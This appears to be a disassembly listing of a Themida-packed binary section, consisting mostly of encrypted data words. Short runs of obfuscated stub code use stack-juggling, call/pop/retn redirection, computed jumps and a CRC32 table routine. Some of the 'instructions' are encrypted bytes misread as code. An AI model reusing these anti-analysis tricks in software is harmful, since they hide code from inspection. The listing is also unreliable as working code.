dd 14B36553h, 5DEF1BA0h, 0BA0D8552h, 119A0730h, 44E218A3h
dd 0D850602h, 0C553FCBAh, 0BF6CED1Fh, 3056C0B5h, 0BF38708Ah
dd 210AC0B5h, 0B5BFA199h, 0DFC863C0h, 64A5C82Bh, 11958EC3h
dd 204E8FAEh, 0F6EF3865h, 75F897D2h, 9FA39E8h, 324h, 1694DD7Ch
dd 41C580ADh, 0B7F3BADEh, 0E723660Ch, 0D0561B3Ch, 4BEC264Bh
dd 7F1F8006h, 294BF432h, 0DA79DA60h, 55971793h, 6F4F733h
dd 0A08FCDB6h, 0C7BF30BAh, 5DC7BEBFh, 53E84CDBh, 438E15B7h
dd 0DB74B607h, 0D16BAD2Fh, 0E9CC4AEBh, 169BD678h, 66499305h
dd 913288C5h, 0EA70BDF0h, 0FB697B60h, 0A8007D71h, 770555Eh
dd 662F4EB6h, 24470142h, 8B74B7F3h, 2ACh, 9E2C6504h, 0C95D1835h
dd 3F8BC266h, 6FBBFE94h, 58EEA3C4h, 0D3749ED3h, 87A7089Eh
dd 0B1D37CCAh, 6201A2F8h, 0DD0F9F2Bh, 6F56FABh, 281755B6h
dd 0AEEA1CBAh, 94AF57D6h, 0AAA7DBBh, 30F315B1h, 12B606F4h
dd 3272F439h, 4EB606F4h, 423E3CE5h, 0A51470CFh, 1B7h, 9D5CFF7Eh
dd 5AC7B0FDh, 0A7E3AAC9h, 0B1E913B9h, 93AF57D6h, 5B770B8h
dd 27CF375Fh, 6841B3B2h, 58E508B2h, 74DFB600h, 58E72F2Fh
dd 5983B600h, 59918933h, 0D873B600h, 383AFB50h, 1477504Ch
dd 4FABh, 59BA7C00h, 6F387035h, 6F5076CDh, 0CC1682CFh
dd 563BAh, 0D0F621B6h, 51810AAh, 41EAB600h, 5EE74D7h, 0CD84A766h
dd 0DA5E4FD4h, 5080Ch, 0B2F79BB6h, 0DA9FB46Dh, 0E7482355h
dd 0ADF2BFE0h, 0B61D837Ch, 0F8F1EDEDh, 0BC141477h, 2F000000h
dd 7EF45CFFh, 18BCFC23h, 5B44625Bh, 4724743Dh, 0B3F0BDDEh
dd 951A53F2h, 0FA20690Ch, 0D4EE2A5Ch, 7BD4AF58h, 4FB5573Dh
dd 54AF58DAh, 0C4227831h, 7D4FFDB2h, 5BDDFB3Eh, 37D368CCh
dd 0EBE3A6CCh, 0F3ED2E6Dh, 0CC16827Fh, 40C93BAh, 20C671B6h
dd 357819FAh, 561B3CE3h, 83CE6FD0h, 27AB1865h, 0A8199AF3h
dd 158h, 7AC089B0h, 0B5F1B4D9h, 0E3276E0Ah, 0D3571240h
dd 482CF70h, 7718FABFh, 2343EC3Ah, 0D577D86Eh, 86A50E9Ch
dd 79E37BCFh, 6F6CBCFh, 0D473B9B6h, 9CDE5EFFh, 0BBD486A6h
dd 78B05AD6h, 2BAF5817h, 97804207h, 0A4C768BEh, 17A2E620h
dd 0B760AF58h, 0FF6348DEh, 0C1B0F45Ch, 0CDB6DAEh, 126CACDEh
dd 0FD56AF58h, 25439F04h, 5812A7E3h, 66B29DAFh, 57D39AB9h
dd 6E2746A9h, 481EE8C1h, 929136FFh, 9D3F8820h, 0ED468026h
dd 0D7B600AAh, 0C4654E7Ch, 0CBCB3D89h, 0D8B600AAh, 40AEFCB5h
dd 0E6EF7836h, 0EF49F0AAh, 0BADA1F40h, 49951AF3h, 228FC666h
dd 0B2ABE281h, 9E9966h, 0E7BC0000h, 0AED80EB5h, 0B606F4DFh
dd 735C8AA5h, 4159ADFh, 0CF6E3794h, 0DD7F6086h, 9A1E0F94h
dd 0A5EC8F30h, 81D1FE78h, 0BCD21D32h, 4DEBB4F9h, 0C8A1E88Ch
dd 66CFE46Bh, 4ED744D7h, 66A02447h, 1D328222h, 0C85E37E0h
dd 208DC467h, 996D37Fh, 0E358F098h, 0A59793D4h, 3FE04D26h
dd 0B6CA5712h, 0DAE5743Dh, 357C1F80h, 0E5A708E3h, 0F89954FAh
dd 4657DCB5h, 672E4DD2h, 743D6043h, 0EE8DFE2Fh, 0F7217AA7h
dd 0CA83A20Dh, 5AB4DA1Ch, 0E9E1A8CBh, 83A3AD8Ch, 0E043D5CEh
dd 31Fh, 0CBB03A00h, 8C1158FFh, 0F4397013h, 0E340092Bh
dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h
dd 4AD792BFh, 529968FAh, 34890000h, 0E3895324h, 4C381h
dd 0EB830000h, 241C8704h, 242C895Ch, 6F5D68h, 24048900h
dd 4EC81h, 3C890000h, 5B74BF24h, 0CDBD7E80h, 31782F46h
dd 8B545FFDh, 0C4812404h, 4, 8904EC83h, 0EA892414h, 5A085089h
dd 5024048Bh, 405E089h, 5000000h, 4, 5C240487h, 5D2434FFh
dd 4C481h, 83E90000h, 0FEFFF95Bh, 0D080959Fh, 0AEF161D2h
dd 0B8C03EFEh, 6AF21CCh, 0E0FFC503h, 62B28DA2h, 3F80518Eh
dd 494CFEDDh, 0A5C15A5h, 32D2D5DDh, 6AA03A8Ah, 5E88DF48h
dd 3CA67968h, 7BCED3A2h, 36C363BCh, 155B09E4h, 9907B1Eh
dd 0F96F023h, 229BB775h, 6D9BC8B0h, 42846C25h, 1BC748C0h
dd 7ABBD2ABh, 0C14C298h, 231B8D8Dh, 8E806AFh, 24000000h
dd 0E2B9E30Dh, 5AEA078Ah, 5B98D89h, 858906A8h, 6A821D5h
dd 146985C7h, 5D2406A8h, 0FEB30000h, 0BBD85C7h, 6A8h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 4122B4C3h, 0F03D4EDh, 89h, 9B5FF00h, 8906A835h, 0A81BC9B5h
dd 0DD95FF06h, 906A820h, 0A807D59Dh, 0FF006A06h, 0A81B3195h
dd 0EBC08B06h, 12B39568h, 572A5FFCh, 6B429AEDh, 1CA20875h
dd 0FED4B221h, 6A4CAB04h, 7913F1Dh, 267BDBBBh, 62973AFDh
dd 238C3B9h, 3F00736Ah, 20D5A45Ah, 0F8C7ABBDh, 66DDE9C3h
dd 38B9486h, 0B7C31E04h, 0E35500A9h, 2B636DC1h, 0B4530A6Fh
dd 2C1184EAh, 0ABD6E574h, 0AD292D26h, 0C4E6894h, 99F4FF14h
dd 795056C9h, 0E7AC3129h, 11E837h, 0C0D40000h, 3D65FCC0h
dd 995766CCh, 483CA71Ah, 0E8B6DF9Ah, 12h, 0CB314EE7h, 93D83C17h
dd 0D10E6CFBh, 0D9CF4D49h, 0BF0F343Bh, 815B5AD7h, 6F31C3h
dd 33C28B00h, 1D858BC9h, 8B06A81Ch, 8B660B34h, 0D9F681C2h
dd 0F116ECCh, 689h, 81858B00h, 8106A82Fh, 1986A2F6h, 43C68109h
dd 10F309Ch, 0A80B29B5h, 0B348906h, 48B0Fh, 0B8660000h
dd 0BD099948h, 6A83375h, 8902E983h, 0A830558Dh, 8B494906h
dd 0A81EF995h, 9CF98106h, 0FFFFF91h, 2585h, 12E800h, 6FBF0000h
dd 0E4E801DEh, 0F850EF7Ah, 0FD9D19D2h, 0EC0D4FBFh, 1DE95Ah
dd 532A0000h, 0B6C2D9D4h, 0CC80A07Eh, 0FF79E982h, 9594FFFFh
dd 4F67DBB7h, 0AF631145h, 0E97E59CAh, 31h, 5CA638DAh, 0Bh dup(0)
dd 561E900h, 0C3660000h, 0FE933C8Ah, 0A4C46FBBh, 58F659EDh
dd 526891Dh, 4475F248h, 5AE0ADCEh, 961459F9h, 0C0460F2Dh
dd 31753C5Fh, 1515B7B5h, 0EFB606FBh, 5CFF82A9h, 73B0FD9Dh
dd 53A5413Ah, 88EFE66Fh, 22811739h, 0B219B2C4h, 3AD7D375h
dd 82ADAF58h, 6860C948h, 0BE3E5FC0h, 588D0C0Ch, 645DF6AFh
dd 97DE7D26h, 0B3FA990Ah, 0DD98B56Eh, 41798329h, 3AF588Dh
dd 0B0238028h, 642949AAh, 0CFD65F34h, 0FEA1E5ACh, 3093175Eh
dd 727880Ch, 8D88804Ah, 0EF72AF58h, 0A4E46F83h, 0EFD87373h
dd 0C41E142h, 0D256F5DEh, 584970A8h, 0F952AFh, 9F343BA8h
dd 57004A16h, 49DC07FAh, 763C637Bh, 0A223133Ah, 0C28BA976h
dd 10B8DB44h, 49A639B8h, 0B2FFE872h, 587B6DA8h, 57D8DFAFh
dd 0DF726F5Bh, 568E12h, 0BA910000h, 0D6AEEA1Ch, 3394AF57h
dd 33655E13h, 2380C96Ch, 57D6DDDBh, 0ECA9C6AFh, 0F3BADE47h
dd 690C7DAEh, 973C8320h, 91F78F0Eh, 0E5460F2Eh, 37AC0C49h
dd 0D6706C6Eh, 19712DFh, 0A8000000h, 8A1752FFh, 0EC317419h
dd 0D55A1F33h, 1D248D7Eh, 4EF13570h, 0FB20662Fh, 8E135EFFh
dd 0F03D7815h, 511B8431h, 1E83CA6Eh, 6304AB0Dh, 8C19CECFh
dd 0DE6BC57h, 0B67716B9h, 5851DE97h, 0C761C26Fh, 0A5BF218Eh
dd 30CDCD7Fh, 9CB7AF58h, 0FCFEA71Ch, 12DF8EF0h, 0A217h
dd 5EFF2800h, 1765F713h, 32794755h, 37339018h, 0BB3B7F89h
dd 2E09AF58h, 0BB4A4EF8h, 1F38AF58h, 3B721699h, 5AE1FF6h
dd 8A105DFEh, 8484C66Ch, 7EAF58BBh, 0BBDC43D5h, 52BDA9F6h
dd 1515B733h, 0EFAF58BBh, 59FA6B44h, 1A9E8F14h, 77BCF995h
dd 58C580AEh, 0BB407882h, 2902AF58h, 51DE9BB8h, 0BEE3AED0h
dd 0D45DCE6Dh, 0B9E6AFCDh, 42297760h, 3015D1E1h, 3F3012DFh
dd 0B000000h, 8E135EFFh, 0FF910650h, 4EF3AFC1h, 6E2745EAh
dd 0F73F3EB8h, 319EA23Fh, 0BAE7A2D0h, 24543761h, 0BEDFE64Fh
dd 0FF88B7F3h, 408A1752h, 0AF57D745h, 737F20B7h, 12DFD687h
dd 166h, 59FFB900h, 6909EA10h, 0AAEFF24h, 2C650899h, 337A1E87h
dd 5F1635EEh, 0FDA60FD2h, 0B97A537Eh, 22670CF7h, 0A30CACFDh
dd 0CD7ECC85h, 2846356Fh, 0E0525134h, 12A9D3F7h, 0F0B600A8h
dd 2A49DA47h, 0D97C2763h, 453E7B18h, 0A8181ED8h, 0E88BB600h
dd 83A37CA1h, 19F261CEh, 6C471998h, 5899BCC3h, 6847D34h
dd 6AB7FE9Dh, 4ED39AB9h, 4FF513CBh, 0A7FD3Dh, 0A26CC7B6h
dd 0B600A866h, 80FBF35Ch, 8818FE07h, 199A71A7h, 9B9F2957h
dd 69B60065h, 0A6C56ACEh, 7F35BEFh, 0E6147758h, 162h, 3B59BA39h
dd 3C711172h, 0B572A6F7h, 0A50EBC07h, 551C4085h, 0B9E6DFC8h
dd 155CFF60h, 0D3199F88h, 60254AB5h, 0FFBC0BC3h, 2C288DBAh
dd 0E063E533h, 0A2B600F4h, 0DD725D89h, 96021B98h, 49832935h
dd 2032E344h, 1317BF98h, 0F1B60155h, 2E4DD246h, 0DD802367h
dd 0F7960F94h, 8AA708BEh, 0C16E2B47h, 79B2FFE8h, 60CD4C3Fh
dd 3557FDBFh, 0B60154F5h, 1B1FA9CFh, 0E9B60155h, 5CC3554Eh
dd 822A7039h, 1476A896h, 5E71h, 0B6E7CA00h, 4DADDF0Bh
dd 372F57D7h, 5357971Ch, 502F57D7h, 5BDE852Dh, 7262E39Ch
dd 0EB8B1499h, 8AD9D16Bh, 80AB2F58h, 0F9990A97h, 0FF3E6FB4h
dd 0A016A50Eh, 1ABBAA0Bh, 0E503754Eh, 5DEFE493h, 2F58095Dh
dd 0F7130C27h, 58095555h, 2B042F2Fh, 92D4DFFh, 3C17AF58h
dd 7C65EEh, 0E7400000h, 0F7D80EB5h, 509A1E5Bh, 0A5736h
dd 85A609B6h, 75DE60C8h, 9DD47728h, 0F275EF69h, 409229E5h
dd 0DFC8551Ch, 22C8B2E6h, 4AEEA7C1h, 0E48746E5h, 0EF6FB4ADh
dd 0B6005BA6h, 6407E812h, 4B4FF92Dh, 39B6005Ch, 80219A1Eh
dd 0FBBED33Ch, 6C3365B6h, 813A80C9h, 0C872A813h, 0BCAF802Fh
dd 2CF53A15h, 1CE34009h, 5DFFEEB7h, 0E186C0E6h, 0A3C35EA4h
dd 0EBD43288h, 8B9C0148h, 0B5E7062Dh, 0C9AED80Eh, 0BBB606FBh
dd 0ECD71390h, 8970148h, 359E2C65h, 8D25F16h, 10100EEDh
dd 878E1784h, 0B619ADE4h, 0D051DE97h, 0E0C3E7A2h, 0F9AAF7B2h
dd 0FB3D165Fh, 43ECC908h, 0B5D8193Ch, 1C8703FCh, 77F33079h
dd 0F7BBFC9h, 0EE491010h, 3C54Ah, 0B0E00000h, 1158FFCBh
dd 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh
dd 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8952FA4Ah, 4C281E2h
dd 83000000h, 143304EAh, 24143124h, 5C241433h, 16B868h
dd 240C8900h, 414568h, 24048900h, 0CBB5352h, 811E950Ch
dd 0A43B49EBh, 0FFEB8112h, 8136F710h, 1656DEC3h, 0C3814B59h
dd 6E160E6h, 0F75BDA89h, 0DFEA81D2h, 89C45F63h, 0EC815AD1h
dd 4, 81242489h, 42404h, 51580000h, 9E243481h, 8F231038h
dd 0BF570840h, 2310389Eh, 5F087831h
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5517CE
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 3E22h
dd 7FD12C9Ch, 0B8FD93DAh, 6AF2945h, 0E0FFC503h, 4DDEF476h
dd 14F8AD76h, 4938E3h, 0E385A58h, 6361F0B1h, 601C329Eh
dd 687E7B4h, 585FA277h, 2F864678h, 433600A1h, 4F997C00h
dd 7423241Dh, 6A05FD8Dh, 3BA033F3h, 0DE8h, 0A35E1F00h
dd 52109AEBh, 2E2F5EF3h, 8E0FDB1Dh, 8, 28E0Fh, 5B510000h
dd 0C281F85Ah, 5BF0h, 6840Fh, 0C8810000h, 4AAA5B7Fh, 16CBBEh
dd 0F5565000h, 32FF585Bh, 9E8h, 0E18E3E00h, 584EDC27h
dd 0BF0FA5B2h, 53595BD8h, 815FFA8Ah, 0EA1994F1h, 38A0F32h
dd 66000000h, 0F181D88Bh, 60CB2C59h, 6CDD8DBBh, 0D0F18128h
dd 663BEB74h, 0A89D88Bh, 5800Fh, 2FB80000h, 8329981Ah
dd 0BF0F02EAh, 834A4ADFh, 850F01EEh, 27h, 11E9h, 74292200h
dd 0B8FE20C0h, 5989BA69h, 0BA29C033h, 1AE96049h, 0AC000000h
dd 0E2DF267Dh, 391D9400h, 0E970C99Bh, 0FFFFFF7Ah, 6780629Ch
dd 4D74549Ah, 14E8CCh, 0D6B90000h, 1CFC8957h, 5D53293Bh
dd 0AF3C5C47h, 0BB7AD82Dh, 9E8730Ch, 11000000h, 0D6E5742Ch
dd 292D26ABh, 0C0816653h, 58582D61h, 12E85Eh, 47830000h
dd 0FA004812h, 19B0D9C2h, 0BEA01E23h, 328EF141h, 33D08166h
dd 0C6815844h, 753Ch, 0A2D88166h, 894DBAE6h, 0EA817839h
dd 78396C35h, 0FFDE8B66h, 59D98A36h, 0AC78166h, 49E9812Ah
dd 0F6AA6C3h, 0B80h, 5880F00h, 0B8000000h, 0DA91CDBh, 0F387C181h
dd 0BF662173h, 0E9812B37h, 65747F11h, 1890Fh, 89FC0000h
dd 8057600Eh, 0F85A8ADAh, 4EE8361h, 0E015EF81h, 0EA83770Eh
dd 0F850F01h, 0B8000000h, 56676A39h, 21E9h, 5A168800h
dd 8166E0C5h, 0E94BB4E8h, 0FFFFFF93h, 90929612h, 2BB304Dh
dd 0C05789Bh, 161AAE15h, 0C08BBD84h, 1ED9BD83h, 750006A8h
dd 0E9BD8309h, 6A82Dh, 53501974h, 21B8C08Bh, 89000004h
dd 0A807B585h, 0AC9D8D06h, 0FF06AAA1h, 83585BD3h, 0A82DE9BDh
dd 17740006h, 21B85350h, 89000004h, 0A807B585h, 9B9D8D06h
dd 0FF06AA9Eh, 8B585BD3h, 0D59D8BC0h, 0C606A831h, 0A815D585h
dd 52685606h, 0FF9CA8B8h, 0A80F95B5h, 71858D06h, 0FF06AB69h
dd 68046AD0h, 1000h, 1F01B5FFh, 6A06A8h, 0C085D0FFh, 0D850Fh
dd 0B80000h, 8D000000h, 0A871208Dh, 8BE1FF06h, 3C38BC8h
dd 0F8053C40h, 8B000000h, 0D3030C50h, 2065BD83h, 0F0006A8h
dd 0E84h, 659D8B00h, 8B06A820h, 0A8051985h, 51038906h
dd 1F858D52h, 0FF06A844h, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h
dd 0A815D585h, 39685606h, 0FFD41F6Dh, 0A80F95B5h, 71858D06h
dd 0FF06AB69h, 800068D0h, 6A0000h, 8BD0FF52h, 0D9BD83C0h
dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
dd 421h, 0FD58589h, 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h
dd 740006A8h, 0B8535017h, 421h, 0FD58589h, 9D8D06A8h, 6AA9EB4h
dd 585BD3FFh, 9D8DC08Bh, 6A82065h, 0C00B038Bh, 7840Fh
dd 38B0000h, 89045B8Bh, 4B41B818h, 0EE80000h, 6C000000h
dd 0D8E90424h, 533774B6h, 0B87AAF53h, 8B665AA5h, 99C281DAh
dd 2B0000EAh, 0C68166FFh, 34FF7281h, 0F5F08117h, 5974CA25h
dd 71C181F9h, 0B87CF607h, 61628CABh, 7E92C181h, 0C38B3BCFh
dd 9E31E981h, 5E850BAh, 4B000000h, 2D6C7037h, 10E8h, 0E4060400h
dd 0A39AA88h, 2DB9E47Dh, 0D807A8B2h, 5E6160F4h, 820F515Bh
dd 15h, 10E9h, 9DEE0900h, 0B6C03AECh, 1FD93B6Ch, 0DEB2D349h
dd 3A048FEEh, 75892EB8h, 78F78071h, 5301EF83h, 4F58D88Bh
dd 0B70F4F4Fh, 34FF81F3h, 0FFFFF16h, 1785h, 26E900h, 5F640000h
dd 0DC1A8CC2h, 89407533h, 2C4EC847h, 58870A0Bh, 8BBFECBEh
dd 0FF58E95Fh, 339FFFFh, 0C1F36F2h, 0BE2A9497h, 0AE8h
dd 75A97200h, 7818E57Eh, 609FC798h, 14E9h, 577D4F00h, 446FF16h
dd 900E1D33h, 2668DCE9h, 0C615749Ch, 12E921h, 10AD0000h
dd 82B582CFh, 0FC6A6593h, 1043D077h, 0BE695405h, 81665B61h
dd 81A30BF0h, 7593C3h, 0CAB70F00h, 68h, 0C38B6600h, 0F3B70F5Ah
dd 0F133C8Bh, 986h, 3890F00h, 0F000000h, 0F781C0BFh, 62460624h
dd 81F18B66h, 0CB88ADEFh, 9810F3Ah, 60000000h, 8D51BB66h
dd 61F3BF0Fh, 0C1E1C781h, 0BF0F6328h, 133C89F7h, 83D4E480h
dd 8D0F02EAh, 3, 4ACF8B66h, 58C9814Ah, 8155B05Ch, 0FF8B58FAh
dd 0B850FFFh, 0E9000000h, 34h, 10915EDDh, 8E0F01C3h, 15h
dd 9E8h, 630A1F00h, 0B783ADDEh, 8E0F39E9h, 0
dd 0FF76E959h, 11A5FFFFh, 858510C3h, 474D31F8h, 852790CCh
dd 1B699D8Dh, 0A8B806A8h, 89000013h, 0A819C985h, 0E806h
dd 5580000h, 0Dh, 0A8E90389h, 13h, 4E9h dup(0)
dd 0E9000000h, 0Fh, 3859280Ah, 2 dup(0)
dd 0E9000000h, 4C6h, 8A105900h, 0C5410429h, 33773E5Ah
dd 63A7E290h, 54D29FC0h, 0C768AACFh, 0F3933C8Ah, 0A5C768BEh
dd 56F55EECh, 0C9138B1Fh, 7197BBFh, 240349B6h, 88155CFFh
dd 0EF3B7617h, 0CB682144h, 2D723B5Ah, 7D12DF74h, 0CC088ED9h
dd 39120C83h, 65CAA3F4h, 8D941D8Eh, 0C8092FEEh, 0ACF1EAA7h
dd 9B04827Bh, 0A90AB0F9h, 60254A8Bh, 0A7F12A77h, 9BD272DDh
dd 6DED8D16h, 57E0DFDBh, 918AA5AFh, 3FE0CD0Ch, 0BCF1927Dh
dd 0D891B37Ch, 0B42E142h, 0E161A4A6h, 2242AF57h, 110A4FE3h
dd 0D971138Ch, 0C91C2E5Eh, 327F68D0h, 0CA49EA43h, 787A3BB0h
dd 12DF908Ch, 496Bh, 5CFFBC00h, 484E8815h, 0B2AF57D7h
dd 827E7C25h, 4D12DFD6h, 298FC662h, 1EBh, 52FF3C00h, 74198A17h
dd 5E439531h, 77161C45h, 0F9073A5h, 0C18CAE63h, 76A7E325h
dd 0B29DAF58h, 0CF954D9h, 0B2F79CA3h, 0E1A8CB74h, 30BA7EA5h
dd 47A0FAB2h, 0DD42D673h, 91D479BCh, 85AA7BB8h, 6DC63C0h
dd 66B2FB9Dh, 7C1D248Dh, 2B4AF531h, 375B4462h, 0BCFC2D72h
dd 7B3256CFh, 86CF6D36h, 0A9E08819h, 87288504h, 62C3A808h
dd 0DF779450h, 67B312h, 0FF940000h, 158E135Eh, 0D89DB273h
dd 0C469425Bh, 2A773A5Bh, 0E93DA79h, 0EE6D36A7h, 4E55DE4Fh
dd 30BA602Dh, 4F1CC75Eh, 0C04AEE8Fh, 2E733E5Fh, 179CD975h
dd 5959DAB1h, 12DF539Dh, 3FB8h, 5EFF8300h, 6FB4FD9Bh, 47D8453Eh
dd 0B1C76C25h, 0D172793Ah, 0BAE00E9Ch, 57D70800h, 6CACDEAFh
dd 56AF57D7h, 0D642EDFDh, 1752FFCDh, 0D745408Ah, 20B7AF57h
dd 0D687737Fh, 16612DFh, 0B9000000h, 0F79859FFh, 4B2475BAh
dd 571E3DE6h, 642D50B3h, 0D94AEE3Fh, 0A8F4BD16h, 0D6C0F802h
dd 0A982AF57h, 0FE358051h, 1890F301h, 62B8F197h, 1AC07BD9h
dd 649E0h, 93103BB6h, 0EC3A7312h, 42E12043h, 0B1AAEF83h
dd 95935BD8h, 0EB60006h, 26FF2461h, 72E14E07h, 0C7991899h
dd 5D10329Dh, 0B8BF60DBh, 0E54EDC95h, 1A20F46h, 0CC85A362h
dd 62CB4ED3h, 1F9BBAC1h, 5ADEDh, 0C3BC97B6h, 0F9FBD747h
dd 28021477h, 25000001h, 0D80EB5E7h, 0D71008B2h, 59F2AF57h
dd 70F315DFh, 76B60006h, 67ABEC8h, 6748B600h, 0F6278CC5h
dd 0DA759B1Dh, 68A9CC55h, 7D1E8FCAh, 0C1BAF330h, 0D095BA25h
dd 74DE5A53h, 0BCE1A8CBh, 0A40940E3h, 8D1257FBh, 0F63B7E14h
dd 6B2E44A5h, 52D348C6h, 8E672A4Bh, 209AA03h, 389C2A63h
dd 1477F94Ch, 47ABh, 0B6E77C00h, 0D78484C6h, 0D57EAF57h
dd 5CBCCEFCh, 262F57D7h, 289FD90Dh, 0C8C07AB7h, 0BA2F5835h
dd 0FBB85991h, 0E872D147h, 2F57F1B0h, 0F9E849E6h, 0DC420C58h
dd 6E17730h, 2B4FF92Dh, 19AF580Ch, 7C67E83Eh, 42000000h
dd 0D80EB5E7h, 0ACFAEh, 159AB5B6h, 1AA0E98Ch, 3A7F13FCh
dd 0AB74A4F5h, 9A5CC188h, 0B6000C99h, 7114FFE5h, 0B2AFB38h
dd 0D3CCDD42h, 3E45EE45h, 2AD0561Fh, 0B3E5A8C9h, 0CFFB40F4h
dd 0C2367A1h, 36E1B600h, 0B1CE78E2h, 93BCAF4Eh, 8BAA7BB8h
dd 0AFC45DC2h, 0B7DC45EAh, 1AAADF2h, 0C5EE11A0h, 99EF4D5Ch
dd 0AF4F2B6Fh, 453E19BCh, 920A67A1h, 5FF8C35Eh, 0A0C22DCBh
dd 0E7604BEDh, 0AFE686B5h, 9EA10B6h, 9C9C266Fh, 66AF57D7h
dd 47816BCDh, 0B6071A2Ah, 17D4BA3Ch, 0D3E04482h, 1390BB45h
dd 6CBAF392h, 0EA2E5886h, 0D8B6070Ch, 0D1008B2h, 59F2B607h
dd 0C467C860h, 9C3A208Dh, 70D2E6Ah, 0FD3B14B6h, 0FD6D636Bh
dd 189972F4h, 0EF3B7211h, 0B2E02144h, 55911EF7h, 0A961C56Ah
dd 84B3A9E8h, 60CF6942h, 272A7732h, 7F1E258Eh, 694941FBh
dd 103BF4FDh, 9A05E327h, 0BC63B5F8h, 0F253D099h, 3, 0FFCBB0D5h
dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh
dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 55E28952h
dd 4BDh, 5DEA0100h, 8704EA83h, 525C2414h, 0C281E289h, 4
dd 4EA81h, 14870000h, 2C895C24h, 2F906824h, 1C890000h
dd 0C4BA5224h, 8170E973h, 0C543ADCAh, 19B95138h, 0C117AB29h
dd 0E1C105E1h, 0E9814107h, 344F5EEFh, 8959CA31h, 0EC815AD5h
dd 4, 81242489h, 42404h, 835B0000h, 2C8904ECh, 8438F24h
; ---------------------------------------------------------------------------
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5517CE
; ---------------------------------------------------------------------------
mov ch, 0A1h
fstp tbyte ptr [ecx]
mov eax, 6AF4723h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
jl short loc_5BE240
db 2Eh
adc al, 5Ch
jno short loc_5BE20A
pop esi
retn
; ---------------------------------------------------------------------------
dd 0ED45560Eh, 0AE76994Fh, 2211F24Eh, 834D41A1h, 8221C5DCh
dd 61290660h, 0C1756B1Eh, 432BB47Dh, 1329639Fh
; ---------------------------------------------------------------------------
xor edi, ebx
loc_5BE20A: ; CODE XREF: Themida_:005BE1E0j
or al, 66h
hlt
; ---------------------------------------------------------------------------
db 0F5h, 42h, 6Ch
; ---------------------------------------------------------------------------
mov dword ptr [eax+42h], 2B0036CBh
cmp byte ptr [edx], 0C9h
sbb eax, 13A4CF76h
test [esi+36h], ebx
cmp ebp, ebx
inc ebx
mov cl, 56h
adc al, 0Eh
add [esp+ecx*2], edi
mov ecx, 9D7E2Ah
retn
; ---------------------------------------------------------------------------
dw 0B26Bh
dd 386D0742h, 7B27CD37h, 0E9587F9Ah
; ---------------------------------------------------------------------------
loc_5BE240: ; CODE XREF: Themida_:005BE1DBj
cmp eax, [eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
pusha
mov edi, [ebp+6A80D35h]
sub edi, 4
xor ecx, ecx
loc_5BE250: ; CODE XREF: Themida_:005BE277j
mov eax, ecx
mov ebx, 0EDB88320h
add edi, 4
mov esi, 8
loc_5BE25F: ; CODE XREF: Themida_:005BE268j
shr eax, 1
sbb edx, edx
and edx, ebx
xor eax, edx
dec esi
jnz loc_5BE25F
inc ecx
mov [edi], eax
cmp ecx, 100h
jb loc_5BE250
popa
retn
; ---------------------------------------------------------------------------
mov ecx, eax
lea ecx, [ebp+6AF496Dh]
push 0
push eax
call sub_5BE292
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE292 proc near ; CODE XREF: Themida_:005BE28Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5BE292 endp
; ---------------------------------------------------------------------------
jmp short loc_5BE2E7
; ---------------------------------------------------------------------------
dd 97990A3Dh, 4DBD29FBh, 6006A817h, 0C6D958Bh, 840F06A8h
dd 5, 0DADB8166h, 8D8961E6h, 6A805B9h, 1ADBD89h, 85C706A8h
dd 6A81469h, 5F60h, 0E850006Ah, 3, 58C35820h
db 89h, 44h, 24h
; ---------------------------------------------------------------------------
loc_5BE2E7: ; CODE XREF: Themida_:005BE2A2j
add al, 81h
inc esp
and al, 4
adc al, 0
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
inc eax
push eax
retn
; ---------------------------------------------------------------------------
db 69h
; ---------------------------------------------------------------------------
mov dword ptr [ebp+6A80BBDh], 0
push 0
push ebx
call sub_5BE309
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE309 proc near ; CODE XREF: Themida_:005BE301p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5BE309 endp
; ---------------------------------------------------------------------------
pop esi
mov bx, cx
push dword ptr [ebp+6A801B1h]
push 0
push eax
call sub_5BE32E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE32E proc near ; CODE XREF: Themida_:005BE326p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5BE32E endp
; ---------------------------------------------------------------------------
dw 0F74Bh
db 0A6h ; ¦
db 27h ; '
db 0CBh ; Ë
db 7Dh
dd 13E8FBh, 2FF00000h, 0EF489720h, 0D055C73Eh, 905D7291h
dd 0D2F0BBCEh, 0D5950341h, 5F06A830h, 0FFC7B70Fh, 0A820DD95h
dd 25953106h, 6A06A80Bh, 3195FF00h, 8B06A81Bh, 0C76CEBC0h
dd 687961CAh, 8C50A3BDh, 38D76180h, 71A32C26h, 3159E76Eh
